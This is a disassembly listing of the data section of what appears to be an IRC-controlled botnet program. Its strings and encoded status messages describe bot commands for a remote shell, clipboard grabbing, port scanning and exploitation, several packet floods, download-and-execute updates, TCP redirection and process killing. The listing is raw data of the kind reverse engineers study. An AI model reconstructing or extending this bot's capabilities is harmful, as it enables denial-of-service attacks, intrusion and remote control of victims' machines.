' Failed to start listing thread, error: <%d>.',0 align 4 dword_42D2AC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: .nsp0:0040F0F2o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: .nsp0:0040F0D2o align 4 dword_42D2E8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: .nsp0:0040F070o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyRunning db ' Already running.',0 align 4 dword_42D31C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F022o dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah dd 2Eh dword_42D348 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: .nsp0:loc_40EF85o dd 2029206Ch, 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_42D37C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: .nsp0:0040EF7Eo dd 2029206Ch, 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_42D3B8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: .nsp0:0040EF62o dd 2029206Ch, 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_42D3F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040EF4Co dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h dd 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: .nsp0:0040EF1Eo align 4 unk_42D438 db 2 ; DATA XREF: .nsp0:loc_40EF0Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_42D478 db 2 ; DATA XREF: .nsp0:0040EEF3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 10h unk_42D4B0 db 2 ; DATA XREF: .nsp0:loc_40EEE3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 10h unk_42D4F0 db 2 ; DATA XREF: .nsp0:loc_40EEDCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_42D530 db 2 ; DATA XREF: .nsp0:0040EED5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 unk_42D568 db 2 ; DATA XREF: .nsp0:0040EE57o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_8 db 'Failed to start server thread, error: <%d>.',0 unk_42D600 db 2 ; DATA XREF: .nsp0:0040EBAFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunni_0 db 'Already running.',0 align 4 dword_42D634 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: .nsp0:loc_40EB99o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_9 db ' Failed to start scan, port is invalid.',0 align 10h dword_42D680 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: .nsp0:0040EADAo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dword_42D6FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E89Ao dd 2029206Ch, 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_42D734 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E881o dd 2029206Ch, 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_42D768 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E861o dd 2029206Ch, 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_42D79C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E848o dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h dd 2E73h dword_42D7C8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: .nsp0:loc_40E7CAo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_42D808 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: .nsp0:0040E7C3o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 10h dword_42D840 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: .nsp0:loc_40E77Do dd 1F641F6Dh, 2029206Ch, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_42D87C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: .nsp0:0040E773o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: .nsp0:0040E759o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040E6CEo ; .nsp0:loc_40F4CBo align 4 dword_42D8CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E658o dd 2029206Ch, 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_42D904 db 2 ; DATA XREF: .nsp0:loc_40E643o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0 align 4 unk_42D93C db 2 ; DATA XREF: .nsp0:0040E639o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFileOpenedS db 'File opened: %s',0 dword_42D96C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E610o dd 2029206Ch, 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_42D9A4 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: .nsp0:loc_40E5C1o dd 2029206Ch, 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 10h dword_42D9E0 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: .nsp0:0040E596o dd 2029206Ch, 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 dword_42DA10 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: .nsp0:loc_40E562o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTermin db ' Failed to terminate process: %s',0 align 4 dword_42DA54 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: .nsp0:0040E558o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledS db ' Process killed: %s',0 align 4 dword_42DA8C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: .nsp0:loc_40E502o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 4 dword_42DAD4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: .nsp0:0040E4FBo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledI db ' Process killed ID: %s',0 dword_42DB0C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: .nsp0:0040E4BAo dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h dd 2E277325h, 0 dword_42DB3C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: .nsp0:0040E4A4o dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h dword_42DB64 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh ; DATA XREF: .nsp0:loc_40E489o dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh dd 2E746E65h, 0 unk_42DB94 db 2 ; DATA XREF: .nsp0:0040E47Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Dh ; m db 69h, 72h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_42DBC4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: .nsp0:0040E44Eo dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h dd 7325h dword_42DBF0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: .nsp0:0040E443o dd 2029206Ch, 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 10h dword_42DC30 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E403o dd 2029206Ch, 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_42DC64 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E3EFo dd 2029206Ch, 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 aR: ; DATA XREF: .nsp0:loc_40E388o unicode 0, <r>,0 dword_42DCA0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E36Ao dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h dd 2E73h dword_42DCCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E32Fo dd 2029206Ch, 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 10h dword_42DD10 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E313o dd 2029206Ch, 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_42DD48 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E294o dd 2029206Ch, 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_42DD78 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E259o dd 2029206Ch, 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_42DDA8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E203o dd 2029206Ch, 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_42DDD8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E19Bo dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0 dword_42DE00 dd 54524150h, 0D732520h, 0Ah ; .nsp0:0040E853o dword_42DE0C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040E132o dd 2029206Ch, 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040E124o align 4 dword_42DE48 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: .nsp0:0040E0FBo dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h dd 7325203Ah, 0 dword_42DE78 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: .nsp0:0040E090o dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h dd 25203A29h, 73h dword_42DEA8 dd 45444F4Dh, 732520hdword_42DEB0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: .nsp0:0040E006o dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h dd 25203A29h, 73h dword_42DEE0 dd 4B43494Eh, 732520h ; .nsp0:0040E69Ao dword_42DEE8 dd 4E494F4Ah, 20732520h, 7325hdword_42DEF4 dd 0A0D7325h, 0 ; .nsp0:0040DFE5o ... dword_42DEFC dd 54524150h, 732520hdword_42DF04 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:loc_40DF05o dd 2029206Ch, 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_42DF4C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040DECEo dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah dd 0 aRepeat db 'repeat',0 ; DATA XREF: .nsp0:0040DE7Do align 10h dword_42DF80 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:loc_40DE35o dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_42DFA8 dd 25207325h, 73252073h, 73253A20h, 0 ; .nsp0:0040DEA8o ... unk_42DFB8 db 2 ; DATA XREF: .nsp0:loc_40DDA4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_42E010 db 2 ; DATA XREF: .nsp0:0040DD9Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 10h unk_42E060 db 2 ; DATA XREF: .nsp0:0040DD2Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: .nsp0:0040DC85o align 4 unk_42E0AC db 2 ; DATA XREF: .nsp0:0040DC26o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 db 2 dup(20h), 43h db 6Fh ; o db 2 dup(6Dh), 61h db 6Eh ; n db 64h, 73h, 3Ah db 20h db 25h, 73h, 0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 10h unk_42E110 db 2 ; DATA XREF: .nsp0:0040DB84o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_10 db ' Failed to start search thread, error: <%d>.',0 align 10h unk_42E160 db 2 ; DATA XREF: .nsp0:0040DB0Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_42E1A4 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: .nsp0:loc_40DA6Co ; .nsp0:0040E4C1o dd 29206C1Fh, 0BBBB0220h, 2002h unk_42E1C4 db 2 ; DATA XREF: .nsp0:0040DA54o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42E1FC db 2 ; DATA XREF: .nsp0:loc_40DA32o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_42E248 db 2 ; DATA XREF: .nsp0:0040DA28o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_42E294 db 2 ; DATA XREF: .nsp0:0040D9AEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_42E2D4 db 2 ; DATA XREF: .nsp0:0040D937o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_11 db ' Failed to start clone thread, error: <%d>.',0 unk_42E320 db 2 ; DATA XREF: .nsp0:0040D8C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_42E364 db 2 ; DATA XREF: .nsp0:0040D840o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_42E3B0 db 2 ; DATA XREF: .nsp0:0040D7C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_42E3F4 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: .nsp0:0040D733o dd 2029206Ch, 2BBBB02h aFailedToSta_13 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_42E440 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: .nsp0:0040D6B9o dd 2029206Ch, 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_42E480 db 2 ; DATA XREF: .nsp0:0040D649o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_42E4D4 db 2 ; DATA XREF: .nsp0:0040D5DAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_42E514 db 2 ; DATA XREF: .nsp0:0040D50Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start redirection thread, error: <%d>.',0 unk_42E568 db 2 ; DATA XREF: .nsp0:0040D49Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 4 unk_42E5B8 db 2 ; DATA XREF: .nsp0:0040D411o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_15 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_42E608 db 2 ; DATA XREF: .nsp0:0040D3A2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: .nsp0:0040D31Eo align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: .nsp0:0040D221o align 4 dword_42E678 dd 54434101h, 204E4F49h, 17325h ; .nsp0:0040E1E4o dword_42E684 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: .nsp0:0040D134o ; .nsp0:0040EB4Bo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_16 db ' Failed to start scan thread, error: <%d>.',0 dword_42E6D0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: .nsp0:0040D0C5o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: .nsp0:0040D09Ao ; .nsp0:0040EAAFo align 4 aRandom_0 db 'Random',0 ; DATA XREF: .nsp0:0040D093o ; .nsp0:0040EAA8o align 4 dword_42E75C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: .nsp0:0040CF55o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_17 db ' Failed to start scan, no IP specified.',0 align 4 dword_42E7A8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: .nsp0:0040CE0Eo ; .nsp0:0040E8F3o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 4 dword_42E7FC dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: .nsp0:0040CDDDo dd 2029206Ch, 2BBBB02h aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42E848 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: .nsp0:0040CD6Eo dd 2029206Ch, 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: .nsp0:0040CCA7o align 4 unk_42E8BC db 2 ; DATA XREF: .nsp0:0040CC92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_42E908 db 2 ; DATA XREF: .nsp0:0040CC27o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 